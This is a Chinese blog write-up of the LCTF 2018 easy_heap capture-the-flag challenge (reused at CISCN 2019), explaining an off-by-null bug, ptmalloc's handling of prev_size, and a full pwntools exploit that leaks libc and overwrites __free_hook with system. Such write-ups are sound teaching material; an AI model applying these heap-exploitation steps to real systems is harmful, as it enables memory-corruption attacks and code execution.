美文网首页
LCTF_18 easy_heap && ciscn_2019_

LCTF_18 easy_heap && ciscn_2019_

作者: pu1p | 来源:发表于2019-08-02 20:26 被阅读0次

    背景

    国赛第二天碰到这个题了. off-by-null 的漏洞很明显, 直接开始写exp, 但是在构造 prev_size的时候卡住了. 没什么思路, 只好转而去看另一题. 浪费了不少时间.

    一直到比赛结束也没搞出来(太菜了). 但是发现场上很多队都做出了这题. 赛后才得知这题竟然是 18年 L_CTF 的原题. 据说拿之前的exp改一下ip和端口就可以直接打...... 这个出题人也太不负责任了吧......

    比赛结束之后看了一下当年的 writeup, 发现利用点还挺有意思的, 在此记录一下.

    题目分析

    题目保护全开, 给了个 libc, 版本是 2.27 的.

    功能主要有三个, malloc, free 和 puts.

    不过有如下几个限制

    1. malloc 的 chunk 的 size 只能为 0x100
    2. 读取输入的时候遇到 \x00, \n 会终止读取. 细节可以看下面贴的 safe_read函数

    漏洞点就是 safe_read 函数中有 off-by-null 漏洞.

    贴一下 safe_read 函数(稍微简化了一下):

    unsigned __int64  safe_read(char *ptr, int size){
      unsigned int cur; // [rsp+14h] [rbp-Ch]
      cur = 0;
      if ( size ){
        while ( 1 ){
          read(0, &ptr[cur], 1uLL);
          if ( size - 1 < cur || !ptr[cur] || ptr[cur] == 10 )
            break;
          ++cur;
        }
        ptr[cur] = 0;
        ptr[size] = 0;     // off-by-null
      }
    }
    

    漏洞分析

    很明显的 off-by-null 漏洞. 自然想的就是要覆盖 prev_in_use 位然后触发 unlink 从而实现 overlap chunk, 然后进行 fastbin attack(tcache 就更简单了). 我们先来模拟一下这个过程

     0x0000+------+-------+  chunk A
    ------>|      |       |<---------
           +------+-------+
           |              |
           |              |
           |              |
           |              |
     0x0100+------+-------+  chunk B
    ------>|      |       |<---------
           +------+-------+
           |              |
           |              |
           |              |
           |              |
     0x0200+------+-------+  chunk C
    ------>| prev |  inuse|<---------
           +------+-------+
           |              |
           |              |
           |              |
           |              |
           +--------------+
    
    1. malloc A, B, C 三个chunk
    2. 填满 tcache
    3. free chunk_A, chunk_A 会进入 unsorted bin
    4. 把 tcache 空一个位置, 然后将 chunk_B free 进去
    5. 把 chunk_B malloc 出来利用 off-by-null 漏洞将 chunk_C 的 prev_inuse 位置 0, 同时还得将 chunk_C 的 prev_size 位设为 0x200.

    这个时候问题来了. 因为 safe_read 函数会被\x00截断. 所以我们没办法输入 \x00\x02. 这也就是这题的难点所在了.

    我当时遇到这个问题的时候想到了两种绕过方式, 虽然都失败了, 但还是记录一下吧.

    第一种方法是利用遗留数据.
    在第一次malloc chunk_B(第1步) 的时候将 chunk_C 的prev_size 位 设为 0x2020, 然后第二次 malloc_B(第5步)的时候将低字节清零, 这样就可以得到 0x200了.

    然而发现程序在 free 之前 会调用 memset(ptr, 0, size);, 绕过失败.

    第二中方法就是将 prev_size 构造成 0x201, 但是发现 ptmalloc 获取 prev_size 的时候并不会自己将低位清零, 所以也失败了.



    所以这题的关键点其实就是构造 prev_size 了.


    看了 writeup 才明白怎么回事儿, 不得不感慨自己对 ptmalloc 的了解还是太浅显了.

    ptmalloc 在将一个chunk放到 unsorted bin 中的时候会设置这个chunk的后一个chunk的 prev_size.

    我们以下面这个程序为例:

    int main(){
        void *ps[3];
        ps[0] = malloc(0xf8);
        ps[1] = malloc(0xf8);
        ps[2] = malloc(0xf8);
        malloc(0xf8);
    
        free(ps[0]);
        free(ps[1]);
        free(ps[2]);
        return 0;
    }
    

    当上面这个程序执行到 return 0; 这一行的时候, 堆布局大概如下:

     0x0000+------+-------+
    ------>|      |       |
           +------+-------+
           |              |
           |              |
           |              |
           |              |
     0x0100+------+-------+
    ------>|0x100 |       |
           +------+-------+
           |              |
           |              |
           |              |
           |              |
     0x0200+------+-------+
    ------>|0x200 |  inuse|
           +------+-------+
           |              |
           |              |
           |              |
           |              |
           +--------------+
           |0x300         |
    
    

    ptmalloc 会帮我们构造好 prev_size :P

    之后就是常规的 off-by-null 思路. 不再赘述

    exp

    这个 exp 只是实现了将 __free_hook 替换为 system, 但是因为 程序在free 之前会将chunk中的内容清零, 所以也没办法执行 system("/bin/sh"), 可以改成用 one_gadget, 感兴趣的就自己试一下吧.

    #coding:utf-8
    from pwn import *
    import time
    import sys
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "source_27"
    
    elf = ELF("./"+filename)
    
    io = process("./"+filename)
    libc = elf.libc
    
    
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    
    def choice(p, idx):
        sla(p, "command?\n", str(idx))
    
    def add(p, size, content):
        choice(p, 1)
        sla(p, 'size', str(size))
        sa(p, "content", content)
    
    def delete(p, idx):
        choice(p, 2)
        sla(p, "index", str(idx))
    
    def show(p, idx):
        choice(p, 3)
        sla(p, "index", str(idx))
    
    
    # fill fast bin for const-size
    add(io, 0xf0, "aaa\n") # 0
    add(io, 0xf8, 'a'*0xf0 + '\02\x02'+'\n') # 1
    add(io, 0xf0, "ccc\n") # 2
    # add(io, 0x68, "ddd\n") # 3
    
    
    # fill tcache
    for i in range(7):
        add(io, 0xf0, "ccc\n") # 3-9
    for i in range(3, 10):
        delete(io, i) # 3-9
    
    # init prev_size
    delete(io, 0)
    delete(io, 1)
    delete(io, 2)
    
    # empty tcache
    for i in range(0, 7):
        add(io, 0xf0, 'ddd\n') # 0 - 6
    
    
    add(io, 7, '7\n')
    add(io, 8, '8\n')
    add(io, 9, '9\n') # prev_size of this chunk is 0x200
    
    for i in range(0, 6):
        delete(io, i)  
    
    # in tcache
    delete(io, 8)
    
    # 7 in unsorted bin
    delete(io, 7)
    
    # off-by-null
    add(io, 0xf8, '0\n')
    
    # and then fill tcache again
    delete(io, 6)
    
    
    # unlink and put 0x300 chunk into unsorted bin
    delete(io, 9)
    
    # only have 0 now
    
    # empty tcache
    for i in range(1, 8):
        add(io, 0xf0, '/bin/sh\x00')
    
    
    # split 0x300 chunk in unsorted bin
    add(io, 8, '8\n')
    
    # leak libc
    show(io, 0)
    ru(io, ' \n> ')
    libc_addr = u64(rv(io, 6) + '\x00\x00')
    lg("libc_addr", libc_addr)
    
    libc.address = libc_addr -3865760
    lg("libc_base", libc.address)
    
    # free_hook
    add(io, 9, '9\n')
    
    delete(io, 1)
    delete(io, 0)
    delete(io, 9)
    
    fh = p64(libc.symbols['__free_hook'])
    add(io, 0xf0, fh[:fh.find('\x00')+1])
    
    system = p64(libc.symbols['system'])
    add(io, 0xf0, system[:system.find('\x00')+1])
    add(io, 0xf0, system[:system.find('\x00')+1])
    
    delete(io, 3)
    
    # io.interactive()
    

    总结

    这题的利用点还是很有意思的, 出题人对 ptmalloc 真的是很了解了. 给出题人点个赞.

    不过题目再好也别直接啥都不改直接拿来做自己的题目啊. 也不知道哪个队干的, 我是觉得有点过分.

    这次比赛主要看了4题, 全都是libc 2.27. 估计现在 ubuntu 18.04 的使用率要比 16.04 还要高了吧.

    参考: https://bbs.pediy.com/thread-247862.htm

    相关文章

      网友评论

          本文标题:LCTF_18 easy_heap && ciscn_2019_

          本文链接:https://www.haomeiwen.com/subject/dwfmrctx.html